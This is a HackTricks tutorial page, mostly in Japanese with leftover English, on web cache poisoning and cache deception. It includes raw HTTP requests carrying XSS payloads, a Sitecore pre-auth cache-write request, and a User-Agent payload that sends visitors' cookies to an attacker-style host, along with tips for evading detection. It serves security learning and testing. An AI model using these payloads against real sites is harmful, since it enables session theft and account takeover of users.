Cache Poisoning and Cache Deception
Reading time: 26 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
The difference
What is the difference between web cache poisoning and web cache deception?
- In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
- In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
Cache Poisoning
Cache poisoning はクライアント側のキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込ませることを目的としています。影響の範囲は汚染されたページの人気度に依存し、汚染されたレスポンスはキャッシュが汚染されている期間にそのページを訪問したユーザーにのみ配信されます。
cache poisoning 攻撃の実行にはいくつかのステップがあります:
- Unkeyed Inputs の特定: これらはリクエストがキャッシュされるために必須ではないが、サーバーが返すレスポンスを変更できるパラメータです。これらの入力を特定することが重要で、キャッシュを操作するために悪用される可能性があります。
- Unkeyed Inputs の悪用: Unkeyed Inputs を特定したら、それらのパラメータをどのように悪用してサーバーのレスポンスを攻撃者に有利な形で変更するかを見つけます。
- Poisoned Response がキャッシュされることを確認: 最後のステップは、操作されたレスポンスがキャッシュに保存されるようにすることです。こうすることで、キャッシュが汚染されている間に影響を受けたページにアクセスするユーザーは汚染されたレスポンスを受け取ります。
Discovery: Check HTTP headers
通常、レスポンスが stored in the cache ときは、それを示す header indicating so が存在します。どのヘッダーに注意すべきかはこの投稿を確認してください: HTTP Cache headers。
Discovery: Caching error codes
レスポンスがキャッシュに保存されているかもしれないと思ったら、bad header を付けたリクエストを送ってみてください。通常は status code 400 で応答されるはずです。次にそのリクエストを通常通りアクセスして、response is a 400 status code であれば、脆弱であることがわかります(場合によっては DoS を実行できることもあります)。
You can find more options in:
ただし、sometimes these kinds of status codes aren't cached ことがあるので、このテストは信頼できない場合があります。
Discovery: Identify and evaluate unkeyed inputs
You could use Param Miner to brute-force parameters and headers that may be changing the response of the page. For example, a page may be using the header X-Forwarded-For to indicate the client to load the script from there:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
バックエンドサーバーから有害なレスポンスを引き出す
parameter/header が特定できたら、それがどのように サニタイズされている のか、また どこに 反映されている のか、もしくは header のレスポンスにどのように影響しているのかを確認してください。悪用できますか(XSS を実行する、あなたが制御する JS コードを読み込ませる、DoS を行うなど)?
レスポンスをキャッシュさせる
一度 悪用可能なページ、使用する parameter/header、およびそれを どう 悪用するかを 特定 したら、そのページをキャッシュさせる必要があります。キャッシュに入れようとしているリソースによっては時間がかかることがあり、数秒間試行し続ける必要があるかもしれません。
レスポンスのヘッダー X-Cache はとても有用で、リクエストがキャッシュされていないときに miss、キャッシュされているときに hit という値を持つことがあります。
ヘッダー Cache-Control も、リソースがキャッシュされているかどうかと、次にいつキャッシュされるかを知るのに役立ちます: Cache-Control: public, max-age=1800
もう一つ興味深いヘッダーは Vary です。このヘッダーは、通常はキー化されないヘッダーであっても、キャッシュキーの一部として扱われる追加のヘッダーを示す ために使用されることがよくあります。したがって、攻撃対象が使用している User-Agent を攻撃者が知っている場合、その特定の User-Agent を使うユーザー向けにキャッシュを汚染することができます。
キャッシュに関連する別のヘッダーは Age です。これはオブジェクトがプロキシキャッシュ内にどのくらいの秒数いたかを定義します。
リクエストをキャッシュする際は、使用するヘッダーに 注意 してください。なぜなら、一部のヘッダーは 予期せず キー化されている可能性があり、被害者は同じヘッダーを使う必要がある からです。常に 異なるブラウザ で Cache Poisoning を テスト して、動作確認を行ってください。
悪用例
最も簡単な例
X-Forwarded-For のようなヘッダーがレスポンスにサニタイズされずに反映されている。
基本的な XSS ペイロードを送信してキャッシュを汚染すれば、そのページにアクセスする全員が XSS に遭うようにできます:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Note that this will poison a request to /en?region=uk not to /en
Cache poisoning to DoS
Cache poisoning through CDNs
this writeup では、次の単純なシナリオが説明されています:
- The CDN will cache anything under
/share/
CDN は/share/以下のすべてをキャッシュします - The CDN will NOT decode nor normalize
%2F..%2F, therfore, it can be used as path traversal to access other sensitive locations that will be cached likehttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
CDN は%2F..%2Fをデコードも正規化もしないため、https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123のように path traversal to access other sensitive locations that will be cached として利用できます - The web server WILL decode and normalize
%2F..%2F, and will respond with/api/auth/session, which contains the auth token.
Web サーバは%2F..%2Fをデコードして正規化し、/api/auth/sessionに対するレスポンスを返します。これには contains the auth token が含まれます。
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies はページのレスポンスに反映されることもあります。たとえばそれを悪用して XSS を発生させられる場合、悪意あるキャッシュ応答を読み込む複数のクライアントに対して XSS を悪用できる可能性があります。
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
区切り文字・正規化・ドットによる差分の生成
参照:
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal による API key の窃取
この writeup は次のように説明しています が、https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 のような URL で OpenAI API key を盗むことができた理由は、/share/* にマッチするリソースが Cloudflare による URL の正規化を経ることなくキャッシュされ、正規化はリクエストが web server に到達した時点で行われていたためです。
これは以下でも詳しく説明されています:
Cache Poisoning via URL discrepancies
複数のヘッダを使って web cache poisoning 脆弱性 を悪用する
場合によっては、キャッシュを悪用するために複数のキー未指定の入力を悪用する必要があります。例えば、X-Forwarded-Host を自分が管理するドメインに、X-Forwarded-Scheme を http に設定すると、Open redirect を見つけられることがあります。さらに、サーバ がすべての HTTP リクエストを HTTPS に 転送 し、リダイレクト先のドメイン名としてヘッダ X-Forwarded-Scheme を使用している場合、リダイレクト先をあなたが制御できるようになります。
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
限定的な Vary ヘッダーを悪用する
もし X-Host ヘッダーが JS リソースを読み込むためのドメイン名 として使われているが、レスポンスの Vary ヘッダーが User-Agent を示している場合、被害者の User-Agent を exfiltrate し、その User-Agent を使ってキャッシュを poison する方法を見つける必要があります:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
URL と body に同じ request を入れて GET リクエストを送る。もし web server が body の方を使い、cache server が URL の方をキャッシュすると、その URL にアクセスした誰もが実際には body の parameter を使うことになる。James Kettle が Github のサイトで発見した vuln のように:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
この件に関する Portswigger の lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
For example it's possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
ここでは Cache Poisoning attacks by abusing HTTP Request Smuggling をどのように実行するか学べます。
Automated testing for Web Cache Poisoning
The Web Cache Vulnerability Scanner は web cache poisoning の自動テストに利用できます。多くの手法に対応しており、高度にカスタマイズ可能です。
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
この実際のパターンは、ヘッダベースの反射プリミティブと CDN/WAF の挙動を連結させ、他のユーザに配信されるキャッシュされた HTML を確実に汚染します:
- メインの HTML が未検証のリクエストヘッダ(例:
User-Agent)を実行コンテキストに反映していた。 - CDN は cache ヘッダを削除していたが、内部/origin のキャッシュは存在した。CDN はまた
.jsのような静的拡張子で終わるリクエストを自動キャッシュし、WAF は静的アセットの GET に対してより緩いコンテンツ検査を行っていた。 - リクエストフローの仕様により、
.jsパスへのリクエストが後続のメイン HTML に使用される cache key/variant に影響を与え、ヘッダ反射を介したクロスユーザ XSS を可能にしていた。
Practical recipe (observed across a popular CDN/WAF):
- クリーンな IP から(事前のレピュテーション低下を避ける)、ブラウザや Burp Proxy の Match & Replace で悪意ある
User-Agentを設定する。 - Burp Repeater で 2 つのリクエストをグループにして "Send group in parallel" を使う(single-packet mode が最適):
- First request: GET a
.jsresource path on the same origin while sending your maliciousUser-Agent. - Immediately after: GET the main page (
/).
- CDN/WAF のルーティング競合と auto-cached
.jsにより、汚染されたキャッシュ済み HTML のバリアントが種付けされ、それが同じキャッシュキー条件(例:Vary次元としてのUser-Agentなど)を共有する他の訪問者に配信されることが多い。
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
- Using an IP from the CDN's own cloud sometimes improves routing consistency.
- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
Impact:
- If session cookies aren’t
HttpOnly, zero-click ATO is possible by mass-exfiltratingdocument.cookiefrom all users who are served the poisoned HTML.
Defenses:
- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
- Ensure WAF applies content inspection consistently to
.jsrequests and static paths. - Set
HttpOnly(andSecure,SameSite) on session cookies.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
これは攻撃者が選んだキャッシュキーの下に任意のHTMLを書き込み、cache keysが判明した後に精密なポイズニングを可能にします。
詳細(cache key construction、ItemService enumeration、および連鎖したpost‑auth deserialization RCE)については:
脆弱な例
Apache Traffic Server (CVE-2021-27577)
ATSはURL内のフラグメントを削除せずに転送し、cache keyをhost、path、queryのみを使って生成していました(フラグメントは無視)。したがってリクエスト /#/../?r=javascript:alert(1) はバックエンドにそのまま /#/../?r=javascript:alert(1) として送られ、cache keyにはペイロードが含まれず、host、path、queryのみが含まれました。
GitHub CP-DoS
content-typeヘッダに不正な値を送ると405のキャッシュされたレスポンスが発生しました。cache keyにcookieが含まれていたため、攻撃できたのは未認証ユーザのみでした。
GitLab + GCP CP-DoS
GitLabは静的コンテンツを保存するためにGCP bucketsを使用しています。GCP Bucketsはheader x-http-method-override をサポートしているため、x-http-method-override: HEAD ヘッダを送信してキャッシュを汚染し、空のレスポンスボディを返させることが可能でした。PURGE メソッドにも対応していました。
Rack Middleware (Ruby on Rails)
Ruby on RailsアプリケーションではRack middlewareがよく利用されます。Rackのコードはx-forwarded-schemeヘッダの値を取得してリクエストのschemeに設定する目的があります。x-forwarded-scheme: http を送ると同じ場所への301リダイレクトが発生し、そのリソースに対してDoSを引き起こす可能性があります。さらに、アプリケーションがX-forwarded-hostヘッダを尊重して指定されたホストへリダイレクトする場合があります。この挙動は攻撃者のサーバからJavaScriptファイルを読み込ませることにつながり、セキュリティリスクとなります。
403 and Storage Buckets
Cloudflareは以前403レスポンスをキャッシュしていました。S3やAzure Storage Blobsへ不正なAuthorizationヘッダでアクセスを試みると403レスポンスが返り、それがキャッシュされました。Cloudflareは403のキャッシュをやめましたが、この挙動は他のプロキシサービスでは今も残っている可能性があります。
Injecting Keyed Parameters
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含みます。例えばFastlyのVarnishはリクエストのsizeパラメータをキャッシュしていました。しかし、そのパラメータのURLエンコード版(例: siz%65)が誤った値で送られた場合、cache keyは正しいsizeパラメータを使って構成されます。とはいえバックエンドはURLエンコードされたパラメータの値を処理します。2つ目のsizeパラメータをURLエンコードすると、キャッシュからは省略されるがバックエンドでは利用される、という状況が発生しました。このパラメータに0を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
User Agent Rules
一部の開発者はFFUFやNucleiのような高トラフィックツールのUser-Agentと一致するリクエストをサーバ負荷管理のためにブロックします。皮肉なことに、この手法はcache poisoningやDoSといった脆弱性を生む可能性があります。
Illegal Header Fields
https://datatracker.ietf.mrg/doc/html/rfc7230 はヘッダ名で許容される文字を指定しています。指定されたtchar範囲外の文字を含むヘッダは本来400 Bad Requestを引き起こすべきです。実際にはサーバがこの標準に従わない場合があります。顕著な例としてAkamaiは無効な文字を含むヘッダを転送し、cache-controlヘッダが存在しない限り400エラーをキャッシュします。例えば \ のような不正な文字を含むヘッダを送ると、キャッシュ可能な400 Bad Requestエラーになるという悪用可能なパターンが確認されました。
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Cache Deceptionの目的は、クライアントにキャッシュに保存されるリソース(およびそれに含まれる機密情報)を読み込ませることです。
まず、.css、.js、.pngなどの拡張子は通常cacheに保存するように設定されています。したがってwww.example.com/profile.php/nonexistent.jsにアクセスすると、.js拡張子を認識してレスポンスがcacheに保存される可能性が高いです。しかし、アプリケーションが_www.example.com/profile.php_に保存された機密ユーザ内容をそのまま返している場合、他のユーザのその内容を盗むことができます。
他にテストすべきもの:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- あまり使われない拡張子(例)
.avif
Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user's sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.
注意点として、cache proxyはファイルのextension(例:.css)に基づいてファイルをcacheするようにconfiguredされている必要があり、content-typeではなくextensionで判断されるべきです。例では http://www.example.com/home.php/non-existent.css は text/html のcontent-typeを持ち、text/css ではありません。
HTTP Request Smugglingを悪用したCache Deceptions攻撃を実行する方法はここで学べます: Cache Deceptions attacks abusing HTTP Request Smuggling.
自動ツール
- toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks